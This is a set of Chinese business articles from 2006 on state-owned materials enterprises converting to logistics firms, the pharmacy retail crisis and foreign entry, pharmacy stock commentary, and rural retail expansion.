17、（美）唐纳德J.鲍尔所克斯，戴维J克劳斯著，物流管理－供应链过程一体化[M]，北京：机械工业出版社，1999：378
18、Dorothy Leonard，Building and sustaining the source of innovation[M],Harvard Business School Press，Boston Massachusetts,1995
19、洪水坤、陈梅君，物流运作案例[M]，北京：中国物资出版社，2002：191-197

关于国有物资企业向物流企业转型的思考

Wed, 11 Jan 2006 09:01:00 GMT

关于国有物资企业向物流企业转型的思考　　【内容提要】物资企业与物流企业具有本质的区别。物资企业必须顺应市场经济的发展转型为物流企业。通过对转型中面对的问题的分析，提出了相应的对策措施。
【摘  要  题】现代物流
【关  键  词】经济管理/物资企业/物流企业/转型

　　1994年以来，全国物资系统出现持续亏损，众多国有物资企业（以下简称物资企业）步履维艰，与当前蓬勃发展的物流企业呈现彼消此长的明显反差。昔日辉煌的物资企业为何一蹶不振？深层次原因是什么？其发展路在何方？本文拟就此进行探讨。
　　  一、物资企业与物流企业的本质区别
　　在一些物流企业管理教材中，将物资行业等同于物流行业，把物资企业视同物流企业，我们实在不敢苟同。本文认为，物资企业与物流企业既有相近相似之处，更有本质差异。
　　二者的相同点是均属第三产业的流通服务业，是连接生产与消费、从事流通服务的市场主体。二者均通过流通服务，实现物资、物品的价值和使用价值，为加快国民经济发展和提高国民经济质量服务。但二者之间存在着本质差异。主要表现在：
　　1.从服务对象看，物资企业的“物”是指工业品生产资料；物流企业的“物”是指物品，包括生产资料、生活资料、退货和废弃物等，二者含义不同。物资企业连结工业品生产资料的生产与消费，从生产企业购进物资销售给消费者，在这个流通过程中从事各种流通活动，把销售服务作为主要对象。物流企业的服务对象涵盖面则要宽得多，除销售物流外，还包括生产经营企业的内部物流，以及外部的退货物流和废弃物回收物流，也即以物品流通全过程的综合性服务为对象。
　　2.从企业功能看，物资企业从事一手购进、一手销售的营销活动，主体功能单一，虽然也配合销售实施运输、储存、装卸、包装和信息等服务，但均系从属并服务于销售的辅助动能，且彼此分割，忽视成本核算。物流企业根据实际需要，将运输、储存、装卸、包装、加工、配送及信息处理等基本功能、要素实施有机结合，集成系统，形成完整的供应链，进行一体化管理，为用户提供多功能、一体化的综合性服务，满足用户日益多样性、个性化的物流需求。物流企业关注“效益背反”，追求整体最佳状态。
　　3.从服务目的看，物资企业服务的目的是在搞好供应、扩大销售中谋求购销差价、取得利润。在确保一定利润的前提下，尤其是在物资价格暴涨取得高额利润的情况下，往往忽略或不计成本。物流企业的服务目的是以尽可能低的成本，为用户提供尽可能周到的物流服务，包括提供货物运输、储存、包装、加工、配送等有形服务，以及提供物流方案设计、物流信息管理等无形服务，这是物资企业难以企及的。物流企业为社会提供全面、多样化的物流服务，并在物流各功能、要素实现增值服务，降低成本，取得经济效益和社会效益。
　　4.从管理体制看，物资企业是典型的计划经济体制产物。由于在理论上接受了生产资料不是商品的观点，与高度集中的计划经济体制相适应，1957年我国建立起了一套重要物资由国家集中统一管理，以计划分配调拨为主的物资管理制度和流通体系。其特点是把生产资料和生活资料流通分离开来，生产资料又限定为工业品生产资料，即把农业生产资料分离开来，以计划分配调拨取代工业品生产资料市场流通。在这种体制下，物资企业作为物资部门组织生产资料的基层单位，既执行国家物资部门的职能，又担负着物资经营业务。在发展社会主义市场经济的新形势下，优胜劣退，物资企业大多成为弱势企业。物流企业是市场经济的产物。它按照市场经济的规律，适应市场经济发展的要求，在市场竞争中发展和完善，探索出一套物品的物流管理经验，尤其是在物流中运用现代科技，不断增强企业核心竞争能力，具有很强的生命力。
　　流通领域的新态势表明，现代物流企业是物资企业的发展方向，物资企业向现代物流企业转型势在必行。
　　  二、物资企业转型面对的主要问题
　　近几年来，物资企业的生产资料主业经营逐年萎缩，市场占有率连年大幅下降。2000年，全国物资系统物资销售总额仅占全社会物资销售总额52000亿元的5％，整体经营规模和经济实力明显削弱，给转型带来了困难。同时，在流通领域还存在着物资企业转型的许多制约因素。
　　1.计划经济体制的惯性和影响仍然存在。一是由于长期受计划经济体制的影响，物资企业领导和职工的改革开放意识、市场竞争意识和企业创新意识仍然不强，习惯于传统物资营销方式，在市场竞争中开拓进取办法不多，与物流企业要求的创新发展能力差距较大。二是行业垄断、部门分割、地区封锁的体制性障碍尚未完全破除，社会主义统一市场尚未形成，多头管理和相互划分导致流通的社会化、专业化程度低，流通不畅的状况还没有根本改变。三是生产资料市场发育不完善，规范化、法制化、现代化程度低，市场管理的法规不健全，政出多门和不平等竞争的现象较为普遍，伪劣产品屡禁不止，不少市场仍然处于无序状态。地方保护主义现象时有发生，割裂着市场的统一性。
　　2.企业背负的历史包袱沉重。一是由于计划经济时期形成的大量难以收回的应收帐款和改革开放经济过热年份形成的“三角债”，造成企业自有流动资金捉襟见肘。二是计划经济时期的就业方针导致物资企业目前一方面人浮于事，且部分员工年龄偏大、文化层次偏低；另一方面企业缺乏懂业务、会管理、善开拓、能创新的科技人才和高级管理人才，影响了企业的发展后劲。三是由于长期以来在经济建设中重生产、轻流通，以及改革开放后物资企业上缴国家利锐多，国家对物资企业投资少，造成物资企业流通基础设施严重落后，技术装备水平低下，影响流通效率的提高，致使物资周转慢、库存大、占用资金多，经济效益差。
　　3.流通服务方式单一，经营管理水平不高。一是服务方式和手段简易。物资企业大多仅能分段提供运输、仓储、装卸、加工、送货等流通服务。有的县级物资企业至今仍用手扶拖位机运输，送货、装卸仍是人拉肩扛。二是企业组织规模和经济实力大多偏小，缺乏必要的竞争实力，难以取得规模效益。因而在激烈的市场竞争中萎缩不振，市场份额缩减，由物资流通的“主渠道”变成了“支渠道”。三是经营管理水平较低，服务质量总体不高。不少物资企业经营粗放，管理混乱，规章制度流于形式，难以为用户提供适时、适量、适质、齐备、便捷的规范化服务。四是企业内部信息管理和技术手段滞后。由于全国物资系统没能建成覆盖全国的信息网络，虽然不少物资企业配备了电脑等装备，但难以提供准确、及时、实用的信息，指导决策和营销，现代化设备成了“花架子”。
　　4.改制改组未到位，企业机制不适应。一是省市、地市级物资部门虽然成建制改为物资集团总公司或物资集团有限责任公司，但大多是换个牌子的“翻牌公司”，仍是产权模糊、权责不清，沿袭传统的管理体制和经营模式，现代企业制度远未建成。二是企业内部三项制度改革不够深化。在改革开放的推动下，物资企业虽然普遍地开展了以人事、用工、分配三项制度为主要内容的企业制度改革，收到了一定成效。但是从整体上来看，物资企业的机制转换还是初步的，在企业管理特别是财务、资金管理上还很薄弱，经济效益低。由于物资企业大多连年亏损，分配档次难以拉开，职工队伍不稳，有的人才外流，企业凝聚力明显下降。三是企业约束机制乏力。有的企业领导盲目决策，出现不少“三拍”（即拍脑袋决策、拍胸膛保证、拍屁股走人）工程项目，资金有投无回；有的用企业流动资金炒股票、搞期货，造成巨额资金损失；有的“官位”升上去，公司跨下来，或提前退休了事，或易公司当“官”；有的盲目为外单位甚至个体、私营企业提供银行贷款的经济担保，造成经济损失。有的企业领导以权谋私、损公肥私、收受贿赂、挥霍浪费。对企业业务骨干管理乏力，“体外循环”现象时有发生，使企业雪上加霜。
　　5.政策环境不宽松，市场竞争不公平。一是在税收政策上，由于税制改革，物资企业由过去按进销差额的10％缴纳营业税改为按进销差价的17％缴纳增值税，税负加重。而对个体、私营流通企业采用包税制，税率仅为物资企业的15％，使物资企业在竞争中处于劣势。二是在财会制度改革上，国家大幅提高折旧率，企业成本大增。三是在投资政策上，多年来国家对流通行业的投资少，对物资企业的投资更少。四是在金融政策上，工业企业贷款易而物资企业贷款难，常使自有流动资金紧缺的物资企业束手无策。五是在改制政策上，兼并破产政策不适用于物资企业。这既不符合国有企业改革总体要求，也不利于物资企业建立合理的市场退出机制。
　　  三、物资企业转型的对策思考
　　在近年物资企业整体滑坡的情况下，仍有部分物资企业通过深化改革，在市场竞争中不断发展壮大，具有向物流企业转型的优势和物资基础。这部分物资企业充分利用现有基础，创造条件，发展物流，逐步转型，将是可行的。
　　1.转变传统观念，树立物流理念。物资企业转型首要的是转变观念提高物资企业职工的物流意识，特别是企业领导的物流意识。目前应着力抓好“三转变”：一是由计划经济观念向市场经济观念转变。作为计划经济体制产物的物资企业，只有从计划经济的传统观念束缚中解脱出来，克服计划经济体制的惯性影响，才能向物流企业转型，与市场经济接轨。二是由市场垄断分割观念向市场一体化观念转变。物资企业要解放思想，树立变市场条块分割为全国市场一体化，变生产资料与生活资料分割为商品市场一体化，变国内市场与国际市场分割为国内外市场一体化的新观念。三是在企业管理观念上，要在企业的思想观念、经营战略、内部管理、服务水平、企业文化等方面进行根本改变，使现代物流理念深入人心。
　　2.深化企业改革，实现制度创新。按照党的十五届五中全会精神，国有资本从物资流通行业退出是必然趋势。因此，物资企业不论规模大小、实力强弱，都应按照符合市场规律的产权形式规范，走先改制、后转型的路子。但从现状看，要物资企业全部退出市场也不现实。由于企业领导和职工的心理承受能力不强，社会保障体系还不完善，相关政策也未完全到位，因而为平稳过渡，避免震荡，保持社会安定，须要有一个渐进的过程。从目前各地物资企业产权改革看，主要有两个层次、两种模式：一个层次主要是在省市以上的物资企业建立以国有资产为运营主体的母子公司体制；另一个层次主要是在地、市、县级物资企业形成以国有资本逐步退出为主的多元主体、多种形式的产权体制。改制方式包括资产置换、重组再生、兼并联合、整体或部分买断等，使国有独资企业改制为职工参股、控股或全部职工股的多元产权主体，国有资本实现部分退出或全部退出。经营上实行承包、租赁、国有民营和民有民营等多种方式。同时，结合转换企业机制，并在围绕和抓住企业主业优势的基础上，向相关领域延伸，发展现代物流。
　　3.调整企业发展战略，开展现代物流业务。发达国家的现代物流是在传统物流的基础上，运用现代科学技术对各种物流功能、要素进行整合而发展起来的。从现状看，我国许多物资企业拥有一定规模的用地、仓储设施、运输装卸手段和加工配送能力等物流资源，具有相当的开展现代物流服务的物质条件。充分利用这些物流资源，按照现代物流管理方式进行整合，开展现代物流服务是完全可能的。关键是调整企业发战略。调整企业发展战略的指导思想应该是：以物流企业为方向，以深化改革为动力，以业务创新为主线，以整合物流功能、要素为重点，以降低流通成本和提高物流服务质量为中心，切实增强企业的核心竞争力。如物资经营企业可以选择物资为主业的集中经营战略或一业为主、多种经营的多样化经营战略；物资储运企业可以选择物资储存为主业的运输集中经营战略或以储为主、储贸结合的多样化经营战略等。不论企业实施何种经营战略，都应对企业内部物流资源进行整合和一体化，形成企业物流。在此基础上，发展工物、物物联合，对企业外部物资资源整合与合作，与生产企业和其他物资企业开发社会化物流，并合作组建第三方物流企业。
　　4.打造几家大型物流企业，重视应用信息网络技术。随着我国加入WTO，国际跨国物流公司纷纷以雄厚的资金和技术优势抢滩中国市场。势单力薄的物资企业很难与之抗衡，需要打造我国大型物流企业，利用本土优势与之竞争，并积极创造条件，走出国门，参与国际物流市场的竞争。物资企业是资金密集型企业，而物流企业则是技术密集型企业。打造大型物流企业，利用先进技术改造和提升物资企业，需要投入巨额资金。因此，应选择规模大、资金足、管理严、班子正、队伍强、效益好的物资企业，按照自愿互利原则，发展跨行业、跨地区、跨所有制、跨国界联合，吸纳国有、集体、民间资本和引进外资，利用现代科技和管理经验，在更大的范围内整合物流资源，提升企业的核心竞争力。大型物流企业应充分重视信息和网络技术在物流中的应用。当前要重点抓好管理信息系统的建设，按照循序渐进的原则，在统一规划的前提下逐步实施，稳步建设。在不断满足实际需要中发展，在需求和技术进步中逐步提高，形成物流信息平台，提高物流营运水平，为实现集约化经营，提高经济效益服务。
　　5.推行现代物流服务方式，加快物流服务网络体系建设。朱总理在第九届全国人大五次会议上的《政府工作报告》中指出：“逐步推行连锁经营、物流配送、代理制、电子商务等组织形式和服务方式”。省市物资企业集团应有计划、有目的地牵头组织、逐步推行。一是组织集团直属企业及部分市县物资企业建立连锁经营网点，使目前分散分割的物资流通网点逐步形成分层次的、具有相当实力的连锁经营网络体系。二是有选择地在一些经济发达、交通枢纽的中心城市，建设和改造一批物流配送、加工中心，建成配送、加工网络系统。三是改进物资运输方式，发展现代化的交通运输工具，推广集装箱、托盘和汽车门对门运输先进方式，实现运输、包装的标准化。四是由有志于现代物流事业、年富力强，具有一定专业知识的管理人员组成强有力的班子，由他们物色一批职工，组成股份有限责任公司，并多渠道筹措启动资金，从业务熟悉的几个品牌品种如钢材、水泥等入手，开展代理制，逐步实行代理、配送、加工等有机结合，以全新的企业、诚信形象和优质的物流服务赢得市场。

医药零售业陷入“黑色时期”

Wed, 11 Jan 2006 08:59:00 GMT

　　8月25日，创建于公元1770年的“寿全斋”药房告别了宁波市开明街。据称，寿全斋是浙江省目前最古老的药店，迁址的原因是无法承受开明街高昂的经营成本和周边密集分布的同行竞争。

　　8月27日，浙江省医药行业协会秘书长兼零售分会会长朱忠兰接受中国经济时报记者采访时说：“医药零售业进入了历史上最困难的阶段，可以说是‘黑色时期’。”

　　冲动的惩罚：利润下降七成

　　医药零售面向社会资本开放、“平价药店”大量出现一度引起了一片喝彩。因为大家觉得充分竞争的医药零售市场将有助于挤压药品价格虚高泡沫，给患者带来实惠。

　　对此，浙江省医药行业协会会长赵博文早就预言：医药零售过度竞争的泡沫即将出现！

　　2004年上半年，快速膨胀的医药零售市场出现了“大厦将倾”的局面——朱忠兰向记者透露了一组数字：据对浙江省36家大型医药零售连锁企业（包含870多家门店）的统计，上半年实现销售5．28亿元，比去年同期上升10．86％，增幅比一季度回落8个百分点；实现利润510万元，比去年同期下降70％。

　　“降幅惊人！”朱忠兰说到利润情况时语气凝重。“药店利润率一般应该有5％－6％，但是上半年只有1．1％。亏损企业去年是2家，今年扩大到9家。亏损额是639万元，比去年增加了498万元。”

　　他说，今年上半年浙江的医药零售业创造了几个“历史之最”：利润下降幅度最大，利润率最低，亏损额最高。

　　杭州医药零售行业的情况更“惨”：继一季度出现汇总性亏损28．9万元之后，到二季度，汇总性亏损的数额超过100万元。

　　之所以会出现这种局面，朱忠兰认为与医药零售市场的过度竞争是分不开的。据统计，到2003年底，浙江省已有药店7769家，比2000年底增加了3656家。

　　嘉兴华氏大药房兰台零售连锁有限公司副总经理张伟成告诉记者，短短三年内，在人口不过三、四十万的嘉兴市区，药店数量已经从28家上升到70余家。“密集程度都快超过日用百货行业了，竞争实在是太激烈了。”

　　另外，经营成本上升也是药店经营难以为继的原因之一。“医药零售行业早已经不是暴利行业。卖一盒‘青春宝’赚两角钱，卖一盒‘21金维他’赚一角钱。过去药店毛利率一般在30％左右，现在只有20％，而房租费、人工费、各种税费居高不下。”朱忠兰对记者说。

　　如果说两年前药监部门逐步放开零售药店的审批后一度出现了“万马奔腾”的热闹景象，那么今年以来出现的局面可以说是泡沫开始破裂。中国医药商业协会秘书长王锦霞不久前对媒体说：“前一阶段，在医药分业的兴奋中，药店扩张了很多，但亏损很严重，现阶段药店已经没有快速扩张的势头了。”

　　据浙江省医药行业协会统计，今年上半年该省已有350多家药店被淘汰出局。

　　病急乱投医的“多元化”

　　记者在调查中发现，以前在经营范围上十分保守的医药零售企业正在悄然变脸，指望靠经营其他商品来“救市”。

　　张伟成告诉记者，“华氏兰台”今年上半年引进了一个进口化妆品的总代理。“这种化妆品是专走药店渠道的，每个地区只选择一个总代理，我们拿到了。”他说，由于是独家经营，经营情况还不错。

　　杭州的“天天好大药房”则走得更远：柜台里除了药品，还出现了绿色食品、家居装饰、日用百货……该企业的负责人声称，争取用几个月时间，将经营品种中药品与非药品的比例调整为1：1。

　　据了解，“多元化”已经成为目前国内医药零售行业的“潮流”。国药集团开始在主要城市的部分国药零售店设立某保健品品牌的专柜，分销营养保健品；广州丽珠医药集团股份有限公司与台湾统一集团旗下的统一超商正式合作，共同经营药妆连锁店，药店中同时销售保健品、化妆品等。

　　有人从美国的医药零售行业找到了多元化的先例：从品种上看，药品只占美国医药门店的一小部分，但药品的价值占全部商品价值的55％以上。大量的品种是糖果、糕点、化妆品、体育用品、日常生活用品、眼镜、照相器材和胶卷冲扩等。

　　但是朱忠兰对药店的多元化并不十分看好：“多元化经营当然也是一条出路，但是多元化的链条不能拉得太长。药店总不能去卖油盐酱醋吧。”

　　张伟成也颇为担忧地表示：医药零售企业试图进行多元化的品种多数早已经在百货行业竞争得你死我活，对于多数药店来说，多元化未必能够带来理想的效果。

　　苦难刚刚开始

　　“下半年形势更加严峻。明年日子还会更加难过。”朱忠兰对记者说。

　从7月1日开始，抗菌药物必须凭执业医师处方销售。“这一刀砍下来，药店的抗菌药物销售量估计要被砍掉2／3。”张伟成说。

　　据浙江省医药行业协会的最新测算，抗菌药物一般占药店销售总额的10％左右，占药店利润总额的20％左右。由于医院的处方很少流出来，药店的抗菌药物销售普遍受到了严重打击。

　　朱忠兰说，根据国家食品药品监管局印发的《实施处方药与非处方药分类管理2004－2005年工作规划》要求：2005年12月31日前，全国将实现处方药凭医师处方购买。这样一来，目前药店的大部分药品都必须凭处方销售。“到那个时候，药店就被逼上绝路了。很多药店大概都要改行了。”

　　他说，在医疗体制改革尚未到位的情况下，凭处方销售只能是更加强化医疗单位在处方上的垄断地位。目前，一些医院采取“电子处方”、“密码处方”等手段防止处方外流，有的医院则更明确规定患者如欲持方外购需经院方“审批”后加盖外购章。

　　记者本人也见识过“密码处方”，即医生在开药方时只写医院自行编制的药品代码，患者只有在付款后拿到药品清单才知道配了什么药。这种处方如果拿到药店去自然只能是废纸一张了。

　　医疗机构“肥水不流外人田”并非个别现象。杭州华东大药房所属的32家门店在七月初的几天一张抗菌药物的处方也没有收到。上海市一个月里仅有30张处方流入该市110家医保定点药店。

　　朱忠兰说：国家药品监督部门对抗菌药物凭处方销售的政策非常坚决，对此医药行业也表示理解和遵守。但是呼吁对于其他处方药的管理能够分步到位，配套政策一定要跟上。

　　医药零售行业需要的配套政策主要是两个方面：

　　首先是通过社会保障部门和卫生部门的共同协作，敦促医疗单位将处方还给患者，让患者自行选择在医院配药或者到药店购药。

　　第二是希望卫生部门对药店坐堂医生的限制政策有所放松。“目前卫生部门对此卡得很严。零售药店没有坐堂医生，医院处方又流不出来，你让零售药店干什么？”

　　据了解，卫生部与国家中医药管理局制定的《处方管理办法（试行）》于今年9月1日开始施行。《办法》规定：处方一律用规范的中文或英文名称书写。医疗、预防、保健机构或医师、药师不得自行编制药品缩写名或用代号。书写药品名称、剂量、规格、用法、用量要准确规范，不得使用“遵医嘱”、“自用”等含糊不清字句。

　　《办法》还规定，除医疗用毒性药品、精神药品、麻醉药品及戒毒药品外，任何医疗、预防、保健机构不得限制就诊人员持处方到其他医疗、预防、保健机构或药品零售企业购药。

　　但是，《办法》没有明确针对医疗机构限制处方外流的罚则，而允许处方外流又直接影响了医疗机构的既得利益，所以该《办法》能否有效解决医疗机构垄断处方的问题，还需要拭目以待。

　　浙江省医药行业协会会长赵博文认为，当前医药零售行业要摆脱困境做大做强，必须认清形势、坚定信心、正确定位。具体地说，就是要实现“七个转变”：从单体经营向集团化经营转变，从价格竞争向品种、质量、服务竞争转变，从单一经营向多元化经营转变，从粗放型经营向集约化经营转变，从高毛利、高费用向低毛利、低费用转变，从片面追求处方药销售向扩大非处方药经营转变，从人治管理向规范化、法制化管理转变。

困扰我国医药零售业发展的三个问题

Wed, 11 Jan 2006 08:58:00 GMT

【标题】困扰我国医药零售业发展的三个问题

【作者】陈海荣

【作者简介】陈海荣，广东国大药房连锁有限公司总经理、医药经济报特约评论员、中国医药报特约撰稿人。他曾在光明日报、经济日报、中国医药报、医药经济报、羊城晚报、中国药业杂志等媒体发表行业相关文章三百余篇约40万字。

目前医药经济正处在转型经济的大环境之中。一方面，随着我国加入WTO，经济全球化程度在快速提高，国际资本和先进技术将快速对国内市场进行渗透，并产生一系列的“应激反应”和“连锁反应”。另一方面，以社会保障体制改革为核心的三项改革已在我国全面推开，一系列与市场化相接轨的行业政府和企业改革势如破竹，史无前例。一向受到良好行政保护的我国医药市场，快速地转入市场竞争调节状态。在这种快速转轨和转型过程中，医药市场的资源规划问题、医药企业的体制问题、营销战略问题等等纷至沓来。这些问题，最突出体现在当前的医药零售业上，各种各样的新形态、新模式、新理念让业内人士眼花缭乱，莫衷一是。

当前有三个方面的问题困扰着我国医药零售业的发展。

一，政策环境因素影响着我国医药零售业潜在市场的变现能力和变现结构嶂。

我国医药零售形态的形成极早，但市场的发育极晚。据称，药房在我国有史可考者可追根溯源至二千多年前的《周礼天宫》。但是，尽管这种行当源远流长，但作为真正的市场形态的形成却只是近些年的事情。新中国成立以来，在城镇市场和农村市场这两大板块上，城镇市场一直占有绝对的比例。而在城镇板块上，药品消费人群中，绝大部分是政府公职人员和城镇职工，他们均享受各自的公费医疗和劳保医疗，而这两种保障系统的用药基本上是通过医疗机构来提供，所以，长期以来，城镇医药市场基本超过85%的比重在于医药一体化的各大小医疗单位中卖出，药店所占有的比例极低。因此我们可以说，医药零售业只是城镇公费医疗用药和劳保医疗用药的一种补充，是药品消费市场的一个配角。

由于近十年来，我国推行城镇职工医疗保险制度改革（原称为“城镇职工医疗保险制度改革”）、医药卫生体制改革以及医药分业呼声日高，医药零售业才拥有其生存发展的政策和经济环境。行业相关政策改革形成新的城镇职工用药供应机制，成为一股巨大的力量将医药零售业的市场从“潜在”的状态推向现实状态。笔者将它称为医药零售市场的“变现”。例如，近两年来，上海市、广州市等中心城市推行医疗保险制度改革后，医保定点药店对参保人的销售额上升势头很快，这些持卡人原来都是公费医疗和劳保医疗队伍，按医保制度进行医疗保健消费，使他们有机会用他们的医疗保险金直接在药店享用他们的医疗保障资源，而这些资源，改革前，几乎是垄断在医疗单位的手里，他们要是在药店购买药品，基本上是自费。医保改革使医药零售业增加新的市场机会，这是市场变现的具体例子。但是，目前推行医保的城市都反映有共性的特点，就是持卡人凭处方到定点药店购药的机会很小，数量很少，医院普遍控制处方外流，这种现象更引人注目到千呼万唤的医药分业改革这块坚冰上。所以，医药零售业要获得更为公平的竞争环境，或者说医药零售市场真正能形成，需于医改和医药分业完全推开之后。

与医药行业相关的各项改革，涌动着各式各样的商业机会。行业内外的资本对医药零售业的潜在市场的容量有着过分高估，以及对潜在市场变现速度的有着过于乐观的期望，于是在医药零售业进入壁垒不高的环境下，过度地对城镇医药零售业进行低水平、大规模地开发，有限的市场份额与过多的零售企业形成冲突。一时间，各种商号、各种店式的药房遍地开花，各大中心城市医药零售资源过度饱和的状况比比皆是，并由“药店多过米铺”向医药零售企业“战国时代”现象不断地更叠。这种矛盾冲突在当前各种平价大卖场形态的轰炸式炒作下，变得更加尖锐。

然而，推动医药零售市场变现的各种政策力量，如医药分业、社会医疗保险改革等的到位时间和力度仍需假以时日，是医药零售市场未来前景难以估算的重要变数。

二，中国加入WTO，国内竞争国际化进程加快，我国已经放开药品分销业领域，一大批原始的、粗放的医药零售企业将受到什么程度的影响似乎决定于先进国家的医药连锁业对进入中国医药零售市场的态度、进度和力度，目前仍然是一个未明朗因素。

当2003年1月1日的钟声敲响之前，我国医药零售业的理论界和企业界恐慌的心绪异常突出。迷茫和无助代表医药零售企业普遍的心情。任何与外资或外企合作的信号或信息都足以吸引住全行业的眼球。

国内零售企业对国外先进企业进入心绪和心态，源于两者之间资本、规模、管理技术和管理体制上存在的巨大差距。据笔者2001年初在美国CDNA（全美连锁药店协会）获得的资料，美国店数前十名的连锁药店分店总数均在一千家以上，其中，排名第一的CVS更拥有4133家门店，遍布美国24个州，年销售200亿美元，占有美国近五分之一的医药零售市场。CVS的零售资源规模化、集约化以及管理技术的现代化可见一斑。ERP、CRM、WMI等等的先进信息技术和卫星通讯设备已经为他们培育强劲有力的物流配送技术和智能化的经营管理技术，形成他们极其强大的核心竞争力。

当然，由于零售业态的可模仿力强，国内医药零售企业对中国市场谙熟、对零售管理技术和方法的强学习能力，这也是让国外企业不得不考虑的进入成本。事实上，国外企业对我国市场环境的认识和认可是需要时间和实践的。而且，国外企业对国内医药零售市场的投资是理性和讲求回报的，当前有限的市场份额和激烈的商战环境下，投资风险明显提升，理性行为下当然不会瞀然行事，所以前期的各种合资合作动作，显然声势远比实际要大。但它是实实在在地影响未来市场不容忽视的因素。

三，当前医药零售业的恶性降价，能否造成“多米诺骨牌效应”，将直接影响未来整个行业利润水平高低，影响未来零售业态的格局和模式，这种影响程度目前仍然难以估算。

当前，医药零售企业价格恶战在药品供过于求严重失衡的状态下，加之新闻媒体的推波助澜，几乎已席卷全国各大中心城市。出现这种局面有三个直接原因。一是长期以来我国药品生产企业生产能力供过于求，产品供求关系严重失衡，厂家销售产品愿望强烈。据报道，内地几家平价大卖场均把同类药品不知名厂家的商品列为低价的重头。二是中心城市药店网络过度饱和，生存压力增大的直接反应，是希望在短时间内赢取市场份额。三是长期以来，我国药店间的服务模式单一，竞争方式简单，降价是主要的思路。当前的价格战能否造成医药零售业的“多米诺骨牌效应”仍需待时间验证。

价格战，被称为市场的“双刃剑”，既可在短时间赢取市场，同时又要为整个行业毛利水平的大幅度下降付出代价。当前，中心城市的店铺资源价格成本和人工成本的高企与行业利润水平的回落将形成一对更为突出的矛盾。也是新的未知数。

综上所述，我国医药零售业在转型经济环境下，充满变数，存在的诸多问题涉及政府、企业方方面面的系统问题，是一个极具风险的行业，由于政府对医药零售网络资源规划放开，对药店业的投资机会增多，整个行业的结构矛盾将在较长一段时间内存在。

外巨头摩拳擦掌医药零售借力扩张

Wed, 11 Jan 2006 08:56:00 GMT

　　广州证券尹飞

　　按照世贸协议有关医药零售业开放的条款：加入时，可在5个经济特区和6个城市(北京、上海、天津、广州、大连、青岛)设立中外合资零售企业，在北京和上海，合资零售企业的数量各不超过4家。加入3年内，取消对外资参与佣金及批发服务和零售服务的地域、股权、数量限制，取消对外资参与特许经营的所有限制。最近，北京市传来消息，将从今年12月11日起，结束医药、百货业开放的过渡期，即医药零售市场将全面向外资开放，取消地域限制、数量限制、股权限制。有消息传出，在美国名列零售业前茅的Dragstore、地平线等企业已频繁到中国来寻找合作伙伴和地点，且美国一家公司将与上海医药(资讯行情论坛)第一百货(资讯行情论坛)商店合作从事药品分销业务，零售巨头沃尔玛也将有计划地把在美国本土成熟的店内药房模式“克隆”到中国。而此前，外资进入医药分销领域，已经有了成功案例。相信未来一段时间，医药零售股将是黑马的摇蓝。

　　金花股份(资讯行情论坛)(600080)外资并购的“第一面旗帜”。该股先于大盘启动，其主营构成中，医药商业占到90%以上，继周三逆势上行3.09%之后，周四，以巨量封涨停，掀起了医药商业股的第一轮狂潮，可视其为医药零售股中的风向标，但巨量换手后，短线有整固的技术要求。

　　金花企业(集团)股份有限公司现下辖高新制药厂、大庆制药厂、新世界(资讯行情论坛)医药有限公司等多家企业。其中，新世界医药有限公司是西北地区最大的医药流通企业之一，经营西药、中成药5000多种，医疗器械3000余种；金花化玻医药有限公司是一家批发、零售中西药品、保健品、医疗器械的大型医药商业公司，经营药品品种约4000多种。公司2004年第三季度主营业务构成中，医药商业流通达到4.87亿元，是公司主要的利润来源。

　　第一医药(资讯行情论坛)(600833)外资瞄准的“医药连锁之王”。该公司是享誉海内外的全国乃至亚洲最大的药店，外资抢滩中国市场势必瞄准的首选目标，周四，该股回探半年线位，K线组合形成最佳的攻击买入点，是实战中的首选品种。

　　上海第一医药公司位于中华商业第一街------南京路步行街商业中心，是全面反映上海、全国乃至世界医药最新动态窗口。公司经过四十多年的经营发展，已形成了享誉海内外的全国乃至亚洲最大的药店---上海市第一医药商店为龙头的一批名店、特色店和专业店，拥有"化剂元老"、"天平大王" 美誉之称的上海长城华美仪器化剂有限公司以及专业经营保健品批发的上海深海保健用品有限公司；上海市第一医药商店连锁经营有限公司获得了跨省市发展连锁的资格，目前新开网点近33家，直营店达到53家，并从全国各省、市100多家加盟连锁店中选择了部分优质资产进行参股、控股。

　　第一医药是典型的小盘低流通市值品种。该股目前每股资本公积金高达4.3261元,仅略低于其当前股价,资产含金量相当之高。K线形态已经提前大盘冲过半年线，并完成确认，已进入极佳的攻击形态。

　　海王生物(资讯行情论坛)(000078) 该股周四触及30日均线后反身向上，短线反弹力度较强，但上档存在一系列中长期均线的压制，可等其技术指标修复后再行介入。

　　早在去年6月27日，海王星辰就与美国Medicine Shoppe签订合作协议，花了100万美元向Medicine Shoppe购买了特许经营权，在中国内地和香港、澳门市场启动该公司的特许经营项目。海王星辰与Medicine Shoppe的合作，是国内首家医药连锁企业与国际医药零售巨头之间以知识产权转让形式进行的合作。它既成功地避开了当时政策尚未放开的外资进入医药零售业的“禁区”，又让本土企业与外资进行了实质性合作。

中型企业进入农村零售业市场更有竞争力

Wed, 11 Jan 2006 08:51:00 GMT

当跨国零售巨头们在一二线城市不断攻城略地时，本土商业企业纷纷走上另一条道路——“农村包围城市”，即在农村乡镇、村里开设连锁超市，以图在农村市场站稳脚跟后再“进军”大中城市。

亚博分析：今年以来,商务部为从流通环节解决“三农”问题,与财政、银行等部门一起，对开拓农村市场的商业企业提供资金、税收等方面的扶持,推出“万村千乡”市场工程。银行也对“万村千乡”工程积极支持。商务部与国家开发银行签署协议，后者贷款500亿元用于扶持商业流通，而商务部与另一家商业银行一笔300亿元贷款也即将签署。分析认为，目前国内商业圈可以分为三层，一是包括京津沪和各省会城市在内“第一零售商业圈”，二是包括经济较为发达的中小城市在内的“第二零售商业圈”，三是随着农村经济发展而正在形成的以乡镇为中心的“第三零售商业圈”。为了避开跨国公司和国内零售业巨头的竞争，很多中小企业选择了乡镇市场，而中国目前还有六成左右的人居住在农村，农村消费市场巨大。开拓农村市场与城市相比有很多不同，如不同区域农民的消费心理、消费习惯差异较大；农村地域广阔，网点分散，物流配送也与城市有很大不同等。本土企业比跨国零售巨头们更有优势进军农村市场，应当抓住国家“万村千乡”工程的机遇壮大自身。但企业不可忽视的一点是，与相对成熟的一级城市相比，农村市场的商业环境和政治环境要差得多，并将抬高零售企业的隐性成本。

农村零售业市场前景看好

Wed, 11 Jan 2006 08:46:00 GMT

　　日前，商务部提出了2005年多项重点工作，其中“万村千乡”工程，即鼓励城市连锁和超市向农村延伸，实施建立新型农村流通网络和生产生活网络一项内容，引起了各方极大关注。
　　
